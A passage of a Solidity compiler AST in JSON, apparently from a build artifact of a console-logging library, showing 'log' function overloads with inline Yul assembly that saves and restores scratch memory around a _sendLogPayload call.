2:22","valueSize":1},{"declaration":34587,"isOffset":false,"isSlot":false,"src":"28592:2:22","valueSize":1},{"declaration":34590,"isOffset":false,"isSlot":false,"src":"28622:2:22","valueSize":1},{"declaration":34593,"isOffset":false,"isSlot":false,"src":"28652:2:22","valueSize":1},{"declaration":34570,"isOffset":false,"isSlot":false,"src":"28790:2:22","valueSize":1},{"declaration":34572,"isOffset":false,"isSlot":false,"src":"28884:2:22","valueSize":1},{"declaration":34574,"isOffset":false,"isSlot":false,"src":"28850:2:22","valueSize":1}],"id":34595,"nodeType":"InlineAssembly","src":"28124:773:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":34597,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"28922:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786134","id":34598,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"28928:4:22","typeDescriptions":{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"},"value":"0xa4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"}],"id":34596,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"28906:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":34599,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28906:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":34600,"nodeType":"ExpressionStatement","src":"28906:27:22"},{"AST":{"nativeSrc":"28952:185:22","nodeType":"YulBlock","src":"28952:185:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"28973:4:22","nodeType":"YulLiteral","src":"28973:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"28979:2:22","nodeType":"YulIdentifier","src":"28979:2:22"}],"functionName":{"name":"mstore","nativeSrc":"28966:6:22","nodeType":"YulIdentifier","src":"28966:6:22"},"nativeSrc":"28966:16:22","nodeType":"YulFunctionCall","src":"28966:16:22"},"nativeSrc":"28966:16:22","nodeType":"YulExpressionStatement","src":"28966:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"29002:4:22","nodeType":"YulLiteral","src":"29002:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"29008:2:22","nodeType":"YulIdentifier","src":"29008:2:22"}],"functionName":{"name":"mstore","nativeSrc":"28995:6:22","nodeType":"YulIdentifier","src":"28995:6:22"},"nativeSrc":"28995:16:22","nodeType":"YulFunctionCall","src":"28995:16:22"},"nativeSrc":"28995:16:22","nodeType":"YulExpressionStatement","src":"28995:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"29031:4:22","nodeType":"YulLiteral","src":"29031:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"29037:2:22","nodeType":"YulIdentifier","src":"29037:2:22"}],"functionName":{"name":"mstore","nativeSrc":"29024:6:22","nodeType":"YulIdentifier","src":"29024:6:22"},"nativeSrc":"29024:16:22","nodeType":"YulFunctionCall","src":"29024:16:22"},"nativeSrc":"29024:16:22","nodeType":"YulExpressionStatement","src":"29024:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"29060:4:22","nodeType":"YulLiteral","src":"29060:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"29066:2:22","nodeType":"YulIdentifier","src":"29066:2:22"}],"functionName":{"name":"mstore","nativeSrc":"29053:6:22","nodeType":"YulIdentifier","src":"29053:6:22"},"nativeSrc":"29053:16:22","nodeType":"YulFunctionCall","src":"29053:16:22"},"nativeSrc":"29053:16:22","nodeType":"YulExpressionStatement","src":"29053:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"29089:4:22","nodeType":"YulLiteral","src":"29089:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"29095:2:22","nodeType":"YulIdentifier","src":"29095:2:22"}],"functionName":{"name":"mstore","nativeSrc":"29082:6:22","nodeType":"YulIdentifier","src":"29082:6:22"},"nativeSrc":"29082:16:22","nodeType":"YulFunctionCall","src":"29082:16:22"},"nativeSrc":"29082:16:22","nodeType":"YulExpressionStatement","src":"29082:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"29118:4:22","nodeType":"YulLiteral","src":"29118:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"29124:2:22","nodeType":"YulIdentifier","src":"29124:2:22"}],"functionName":{"name":"mstore","nativeSrc":"29111:6:22","nodeType":"YulIdentifier","src":"29111:6:22"},"nativeSrc":"29111:16:22","nodeType":"YulFunctionCall","src":"29111:16:22"},"nativeSrc":"29111:16:22","nodeType":"YulExpressionStatement","src":"29111:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34578,"isOffset":false,"isSlot":false,"src":"28979:2:22","valueSize":1},{"declaration":34581,"isOffset":false,"isSlot":false,"src":"29008:2:22","valueSize":1},{"declaration":34584,"isOffset":false,"isSlot":false,"src":"29037:2:22","valueSize":1},{"declaration":34587,"isOffset":false,"isSlot":false,"src":"29066:2:22","valueSize":1},{"declaration":34590,"isOffset":false,"isSlot":false,"src":"29095:2:22","valueSize":1},{"declaration":34593,"isOffset":false,"isSlot":false,"src":"29124:2:22","valueSize":1}],"id":34601,"nodeType":"InlineAssembly","src":"28943:194:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"27940:3:22","parameters":{"id":34575,"nodeType":"ParameterList","parameters":[{"constant":false,"id":34570,"mutability":"mutable","name":"p0","nameLocation":"27952:2:22","nodeType":"VariableDeclaration","scope":34603,"src":"27944:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":34569,"name":"address","nodeType":"ElementaryTypeName","src":"27944:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":34572,"mutability":"mutable","name":"p1","nameLocation":"27964:2:22","nodeType":"VariableDeclaration","scope":34603,"src":"27956:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34571,"name":"bytes32","nodeType":"ElementaryTypeName","src":"27956:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":34574,"mutability":"mutable","name":"p2","nameLocation":"27976:2:22","nodeType":"VariableDeclaration","scope":34603,"src":"27968:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":34573,"name":"address","nodeType":"ElementaryTypeName","src":"27968:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"27943:36:22"},"returnParameters":{"id":34576,"nodeType":"ParameterList","parameters":[],"src":"27994:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":34638,"nodeType":"FunctionDefinition","src":"29149:1206:22","nodes":[],"body":{"id":34637,"nodeType":"Block","src":"29209:1146:22","nodes":[],"statements":[{"assignments":[34613],"declarations":[{"constant":false,"id":34613,"mutability":"mutable","name":"m0","nameLocation":"29227:2:22","nodeType":"VariableDeclaration","scope":34637,"src":"29219:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34612,"name":"bytes32","nodeType":"ElementaryTypeName","src":"29219:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34614,"nodeType":"VariableDeclarationStatement","src":"29219:10:22"},{"assignments":[34616],"declarations":[{"constant":false,"id":34616,"mutability":"mutable","name":"m1","nameLocation":"29247:2:22","nodeType":"VariableDeclaration","scope":34637,"src":"29239:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34615,"name":"bytes32","nodeType":"ElementaryTypeName","src":"29239:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34617,"nodeType":"VariableDeclarationStatement","src":"29239:10:22"},{"assignments":[34619],"declarations":[{"constant":false,"id":34619,"mutability":"mutable","name":"m2","nameLocation":"29267:2:22","nodeType":"VariableDeclaration","scope":34637,"src":"29259:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34618,"name":"bytes32","nodeType":"ElementaryTypeName","src":"29259:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34620,"nodeType":"VariableDeclarationStatement","src":"29259:10:22"},{"assignments":[34622],"declarations":[{"constant":false,"id":34622,"mutability":"mutable","name":"m3","nameLocation":"29287:2:22","nodeType":"VariableDeclaration","scope":34637,"src":"29279:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34621,"name":"bytes32","nodeType":"ElementaryTypeName","src":"29279:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34623,"nodeType":"VariableDeclarationStatement","src":"29279:10:22"},{"assignments":[34625],"declarations":[{"constant":false,"id":34625,"mutability":"mutable","name":"m4","nameLocation":"29307:2:22","nodeType":"VariableDeclaration","scope":34637,"src":"29299:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34624,"name":"bytes32","nodeType":"ElementaryTypeName","src":"29299:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34626,"nodeType":"VariableDeclarationStatement","src":"29299:10:22"},{"assignments":[34628],"declarations":[{"constant":false,"id":34628,"mutability":"mutable","name":"m5","nameLocation":"29327:2:22","nodeType":"VariableDeclaration","scope":34637,"src":"29319:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34627,"name":"bytes32","nodeType":"ElementaryTypeName","src":"29319:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34629,"nodeType":"VariableDeclarationStatement","src":"29319:10:22"},{"AST":{"nativeSrc":"29348:761:22","nodeType":"YulBlock","src":"29348:761:22","statements":[{"body":{"nativeSrc":"29391:313:22","nodeType":"YulBlock","src":"29391:313:22","statements":[{"nativeSrc":"29409:15:22","nodeType":"YulVariableDeclaration","src":"29409:15:22","value":{"kind":"number","nativeSrc":"29423:1:22","nodeType":"YulLiteral","src":"29423:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"29413:6:22","nodeType":"YulTypedName","src":"29413:6:22","type":""}]},{"body":{"nativeSrc":"29494:40:22","nodeType":"YulBlock","src":"29494:40:22","statements":[{"body":{"nativeSrc":"29523:9:22","nodeType":"YulBlock","src":"29523:9:22","statements":[{"nativeSrc":"29525:5:22","nodeType":"YulBreak","src":"29525:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"29511:6:22","nodeType":"YulIdentifier","src":"29511:6:22"},{"name":"w","nativeSrc":"29519:1:22","nodeType":"YulIdentifier","src":"29519:1:22"}],"functionName":{"name":"byte","nativeSrc":"29506:4:22","nodeType":"YulIdentifier","src":"29506:4:22"},"nativeSrc":"29506:15:22","nodeType":"YulFunctionCall","src":"29506:15:22"}],"functionName":{"name":"iszero","nativeSrc":"29499:6:22","nodeType":"YulIdentifier","src":"29499:6:22"},"nativeSrc":"29499:23:22","nodeType":"YulFunctionCall","src":"29499:23:22"},"nativeSrc":"29496:36:22","nodeType":"YulIf","src":"29496:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"29451:6:22","nodeType":"YulIdentifier","src":"29451:6:22"},{"kind":"number","nativeSrc":"29459:4:22","nodeType":"YulLiteral","src":"29459:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"29448:2:22","nodeType":"YulIdentifier","src":"29448:2:22"},"nativeSrc":"29448:16:22","nodeType":"YulFunctionCall","src":"29448:16:22"},"nativeSrc":"29441:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"29465:28:22","nodeType":"YulBlock","src":"29465:28:22","statements":[{"nativeSrc":"29467:24:22","nodeType":"YulAssignment","src":"29467:24:22","value":{"arguments":[{"name":"length","nativeSrc":"29481:6:22","nodeType":"YulIdentifier","src":"29481:6:22"},{"kind":"number","nativeSrc":"29489:1:22","nodeType":"YulLiteral","src":"29489:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"29477:3:22","nodeType":"YulIdentifier","src":"29477:3:22"},"nativeSrc":"29477:14:22","nodeType":"YulFunctionCall","src":"29477:14:22"},"variableNames":[{"name":"length","nativeSrc":"29467:6:22","nodeType":"YulIdentifier","src":"29467:6:22"}]}]},"pre":{"nativeSrc":"29445:2:22","nodeType":"YulBlock","src":"29445:2:22","statements":[]},"src":"29441:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"29558:3:22","nodeType":"YulIdentifier","src":"29558:3:22"},{"name":"length","nativeSrc":"29563:6:22","nodeType":"YulIdentifier","src":"29563:6:22"}],"functionName":{"name":"mstore","nativeSrc":"29551:6:22","nodeType":"YulIdentifier","src":"29551:6:22"},"nativeSrc":"29551:19:22","nodeType":"YulFunctionCall","src":"29551:19:22"},"nativeSrc":"29551:19:22","nodeType":"YulExpressionStatement","src":"29551:19:22"},{"nativeSrc":"29587:37:22","nodeType":"YulVariableDeclaration","src":"29587:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"29604:3:22","nodeType":"YulLiteral","src":"29604:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"29613:1:22","nodeType":"YulLiteral","src":"29613:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"29616:6:22","nodeType":"YulIdentifier","src":"29616:6:22"}],"functionName":{"name":"shl","nativeSrc":"29609:3:22","nodeType":"YulIdentifier","src":"29609:3:22"},"nativeSrc":"29609:14:22","nodeType":"YulFunctionCall","src":"29609:14:22"}],"functionName":{"name":"sub","nativeSrc":"29600:3:22","nodeType":"YulIdentifier","src":"29600:3:22"},"nativeSrc":"29600:24:22","nodeType":"YulFunctionCall","src":"29600:24:22"},"variables":[{"name":"shift","nativeSrc":"29591:5:22","nodeType":"YulTypedName","src":"29591:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"29652:3:22","nodeType":"YulIdentifier","src":"29652:3:22"},{"kind":"number","nativeSrc":"29657:4:22","nodeType":"YulLiteral","src":"29657:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"29648:3:22","nodeType":"YulIdentifier","src":"29648:3:22"},"nativeSrc":"29648:14:22","nodeType":"YulFunctionCall","src":"29648:14:22"},{"arguments":[{"name":"shift","nativeSrc":"29668:5:22","nodeType":"YulIdentifier","src":"29668:5:22"},{"arguments":[{"name":"shift","nativeSrc":"29679:5:22","nodeType":"YulIdentifier","src":"29679:5:22"},{"name":"w","nativeSrc":"29686:1:22","nodeType":"YulIdentifier","src":"29686:1:22"}],"functionName":{"name":"shr","nativeSrc":"29675:3:22","nodeType":"YulIdentifier","src":"29675:3:22"},"nativeSrc":"29675:13:22","nodeType":"YulFunctionCall","src":"29675:13:22"}],"functionName":{"name":"shl","nativeSrc":"29664:3:22","nodeType":"YulIdentifier","src":"29664:3:22"},"nativeSrc":"29664:25:22","nodeType":"YulFunctionCall","src":"29664:25:22"}],"functionName":{"name":"mstore","nativeSrc":"29641:6:22","nodeType":"YulIdentifier","src":"29641:6:22"},"nativeSrc":"29641:49:22","nodeType":"YulFunctionCall","src":"29641:49:22"},"nativeSrc":"29641:49:22","nodeType":"YulExpressionStatement","src":"29641:49:22"}]},"name":"writeString","nativeSrc":"29362:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"29383:3:22","nodeType":"YulTypedName","src":"29383:3:22","type":""},{"name":"w","nativeSrc":"29388:1:22","nodeType":"YulTypedName","src":"29388:1:22","type":""}],"src":"29362:342:22"},{"nativeSrc":"29717:17:22","nodeType":"YulAssignment","src":"29717:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"29729:4:22","nodeType":"YulLiteral","src":"29729:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"29723:5:22","nodeType":"YulIdentifier","src":"29723:5:22"},"nativeSrc":"29723:11:22","nodeType":"YulFunctionCall","src":"29723:11:22"},"variableNames":[{"name":"m0","nativeSrc":"29717:2:22","nodeType":"YulIdentifier","src":"29717:2:22"}]},{"nativeSrc":"29747:17:22","nodeType":"YulAssignment","src":"29747:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"29759:4:22","nodeType":"YulLiteral","src":"29759:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"29753:5:22","nodeType":"YulIdentifier","src":"29753:5:22"},"nativeSrc":"29753:11:22","nodeType":"YulFunctionCall","src":"29753:11:22"},"variableNames":[{"name":"m1","nativeSrc":"29747:2:22","nodeType":"YulIdentifier","src":"29747:2:22"}]},{"nativeSrc":"29777:17:22","nodeType":"YulAssignment","src":"29777:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"29789:4:22","nodeType":"YulLiteral","src":"29789:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"29783:5:22","nodeType":"YulIdentifier","src":"29783:5:22"},"nativeSrc":"29783:11:22","nodeType":"YulFunctionCall","src":"29783:11:22"},"variableNames":[{"name":"m2","nativeSrc":"29777:2:22","nodeType":"YulIdentifier","src":"29777:2:22"}]},{"nativeSrc":"29807:17:22","nodeType":"YulAssignment","src":"29807:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"29819:4:22","nodeType":"YulLiteral","src":"29819:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"29813:5:22","nodeType":"YulIdentifier","src":"29813:5:22"},"nativeSrc":"29813:11:22","nodeType":"YulFunctionCall","src":"29813:11:22"},"variableNames":[{"name":"m3","nativeSrc":"29807:2:22","nodeType":"YulIdentifier","src":"29807:2:22"}]},{"nativeSrc":"29837:17:22","nodeType":"YulAssignment","src":"29837:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"29849:4:22","nodeType":"YulLiteral","src":"29849:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"29843:5:22","nodeType":"YulIdentifier","src":"29843:5:22"},"nativeSrc":"29843:11:22","nodeType":"YulFunctionCall","src":"29843:11:22"},"variableNames":[{"name":"m4","nativeSrc":"29837:2:22","nodeType":"YulIdentifier","src":"29837:2:22"}]},{"nativeSrc":"29867:17:22","nodeType":"YulAssignment","src":"29867:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"29879:4:22","nodeType":"YulLiteral","src":"29879:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"29873:5:22","nodeType":"YulIdentifier","src":"29873:5:22"},"nativeSrc":"29873:11:22","nodeType":"YulFunctionCall","src":"29873:11:22"},"variableNames":[{"name":"m5","nativeSrc":"29867:2:22","nodeType":"YulIdentifier","src":"29867:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"29959:4:22","nodeType":"YulLiteral","src":"29959:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"29965:10:22","nodeType":"YulLiteral","src":"29965:10:22","type":"","value":"0xcf020fb1"}],"functionName":{"name":"mstore","nativeSrc":"29952:6:22","nodeType":"YulIdentifier","src":"29952:6:22"},"nativeSrc":"29952:24:22","nodeType":"YulFunctionCall","src":"29952:24:22"},"nativeSrc":"29952:24:22","nodeType":"YulExpressionStatement","src":"29952:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"29996:4:22","nodeType":"YulLiteral","src":"29996:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"30002:2:22","nodeType":"YulIdentifier","src":"30002:2:22"}],"functionName":{"name":"mstore","nativeSrc":"29989:6:22","nodeType":"YulIdentifier","src":"29989:6:22"},"nativeSrc":"29989:16:22","nodeType":"YulFunctionCall","src":"29989:16:22"},"nativeSrc":"29989:16:22","nodeType":"YulExpressionStatement","src":"29989:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"30025:4:22","nodeType":"YulLiteral","src":"30025:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"30031:4:22","nodeType":"YulLiteral","src":"30031:4:22","type":"","value":"0x60"}],"functionName":{"name":"mstore","nativeSrc":"30018:6:22","nodeType":"YulIdentifier","src":"30018:6:22"},"nativeSrc":"30018:18:22","nodeType":"YulFunctionCall","src":"30018:18:22"},"nativeSrc":"30018:18:22","nodeType":"YulExpressionStatement","src":"30018:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"30056:4:22","nodeType":"YulLiteral","src":"30056:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"30062:2:22","nodeType":"YulIdentifier","src":"30062:2:22"}],"functionName":{"name":"mstore","nativeSrc":"30049:6:22","nodeType":"YulIdentifier","src":"30049:6:22"},"nativeSrc":"30049:16:22","nodeType":"YulFunctionCall","src":"30049:16:22"},"nativeSrc":"30049:16:22","nodeType":"YulExpressionStatement","src":"30049:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"30090:4:22","nodeType":"YulLiteral","src":"30090:4:22","type":"","value":"0x80"},{"name":"p1","nativeSrc":"30096:2:22","nodeType":"YulIdentifier","src":"30096:2:22"}],"functionName":{"name":"writeString","nativeSrc":"30078:11:22","nodeType":"YulIdentifier","src":"30078:11:22"},"nativeSrc":"30078:21:22","nodeType":"YulFunctionCall","src":"30078:21:22"},"nativeSrc":"30078:21:22","nodeType":"YulExpressionStatement","src":"30078:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34613,"isOffset":false,"isSlot":false,"src":"29717:2:22","valueSize":1},{"declaration":34616,"isOffset":false,"isSlot":false,"src":"29747:2:22","valueSize":1},{"declaration":34619,"isOffset":false,"isSlot":false,"src":"29777:2:22","valueSize":1},{"declaration":34622,"isOffset":false,"isSlot":false,"src":"29807:2:22","valueSize":1},{"declaration":34625,"isOffset":false,"isSlot":false,"src":"29837:2:22","valueSize":1},{"declaration":34628,"isOffset":false,"isSlot":false,"src":"29867:2:22","valueSize":1},{"declaration":34605,"isOffset":false,"isSlot":false,"src":"30002:2:22","valueSize":1},{"declaration":34607,"isOffset":false,"isSlot":false,"src":"30096:2:22","valueSize":1},{"declaration":34609,"isOffset":false,"isSlot":false,"src":"30062:2:22","valueSize":1}],"id":34630,"nodeType":"InlineAssembly","src":"29339:770:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":34632,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"30134:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786134","id":34633,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"30140:4:22","typeDescriptions":{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"},"value":"0xa4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"}],"id":34631,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"30118:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":34634,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30118:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":34635,"nodeType":"ExpressionStatement","src":"30118:27:22"},{"AST":{"nativeSrc":"30164:185:22","nodeType":"YulBlock","src":"30164:185:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"30185:4:22","nodeType":"YulLiteral","src":"30185:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"30191:2:22","nodeType":"YulIdentifier","src":"30191:2:22"}],"functionName":{"name":"mstore","nativeSrc":"30178:6:22","nodeType":"YulIdentifier","src":"30178:6:22"},"nativeSrc":"30178:16:22","nodeType":"YulFunctionCall","src":"30178:16:22"},"nativeSrc":"30178:16:22","nodeType":"YulExpressionStatement","src":"30178:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"30214:4:22","nodeType":"YulLiteral","src":"30214:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"30220:2:22","nodeType":"YulIdentifier","src":"30220:2:22"}],"functionName":{"name":"mstore","nativeSrc":"30207:6:22","nodeType":"YulIdentifier","src":"30207:6:22"},"nativeSrc":"30207:16:22","nodeType":"YulFunctionCall","src":"30207:16:22"},"nativeSrc":"30207:16:22","nodeType":"YulExpressionStatement","src":"30207:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"30243:4:22","nodeType":"YulLiteral","src":"30243:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"30249:2:22","nodeType":"YulIdentifier","src":"30249:2:22"}],"functionName":{"name":"mstore","nativeSrc":"30236:6:22","nodeType":"YulIdentifier","src":"30236:6:22"},"nativeSrc":"30236:16:22","nodeType":"YulFunctionCall","src":"30236:16:22"},"nativeSrc":"30236:16:22","nodeType":"YulExpressionStatement","src":"30236:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"30272:4:22","nodeType":"YulLiteral","src":"30272:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"30278:2:22","nodeType":"YulIdentifier","src":"30278:2:22"}],"functionName":{"name":"mstore","nativeSrc":"30265:6:22","nodeType":"YulIdentifier","src":"30265:6:22"},"nativeSrc":"30265:16:22","nodeType":"YulFunctionCall","src":"30265:16:22"},"nativeSrc":"30265:16:22","nodeType":"YulExpressionStatement","src":"30265:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"30301:4:22","nodeType":"YulLiteral","src":"30301:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"30307:2:22","nodeType":"YulIdentifier","src":"30307:2:22"}],"functionName":{"name":"mstore","nativeSrc":"30294:6:22","nodeType":"YulIdentifier","src":"30294:6:22"},"nativeSrc":"30294:16:22","nodeType":"YulFunctionCall","src":"30294:16:22"},"nativeSrc":"30294:16:22","nodeType":"YulExpressionStatement","src":"30294:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"30330:4:22","nodeType":"YulLiteral","src":"30330:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"30336:2:22","nodeType":"YulIdentifier","src":"30336:2:22"}],"functionName":{"name":"mstore","nativeSrc":"30323:6:22","nodeType":"YulIdentifier","src":"30323:6:22"},"nativeSrc":"30323:16:22","nodeType":"YulFunctionCall","src":"30323:16:22"},"nativeSrc":"30323:16:22","nodeType":"YulExpressionStatement","src":"30323:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34613,"isOffset":false,"isSlot":false,"src":"30191:2:22","valueSize":1},{"declaration":34616,"isOffset":false,"isSlot":false,"src":"30220:2:22","valueSize":1},{"declaration":34619,"isOffset":false,"isSlot":false,"src":"30249:2:22","valueSize":1},{"declaration":34622,"isOffset":false,"isSlot":false,"src":"30278:2:22","valueSize":1},{"declaration":34625,"isOffset":false,"isSlot":false,"src":"30307:2:22","valueSize":1},{"declaration":34628,"isOffset":false,"isSlot":false,"src":"30336:2:22","valueSize":1}],"id":34636,"nodeType":"InlineAssembly","src":"30155:194:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"29158:3:22","parameters":{"id":34610,"nodeType":"ParameterList","parameters":[{"constant":false,"id":34605,"mutability":"mutable","name":"p0","nameLocation":"29170:2:22","nodeType":"VariableDeclaration","scope":34638,"src":"29162:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":34604,"name":"address","nodeType":"ElementaryTypeName","src":"29162:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":34607,"mutability":"mutable","name":"p1","nameLocation":"29182:2:22","nodeType":"VariableDeclaration","scope":34638,"src":"29174:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34606,"name":"bytes32","nodeType":"ElementaryTypeName","src":"29174:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":34609,"mutability":"mutable","name":"p2","nameLocation":"29191:2:22","nodeType":"VariableDeclaration","scope":34638,"src":"29186:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":34608,"name":"bool","nodeType":"ElementaryTypeName","src":"29186:4:2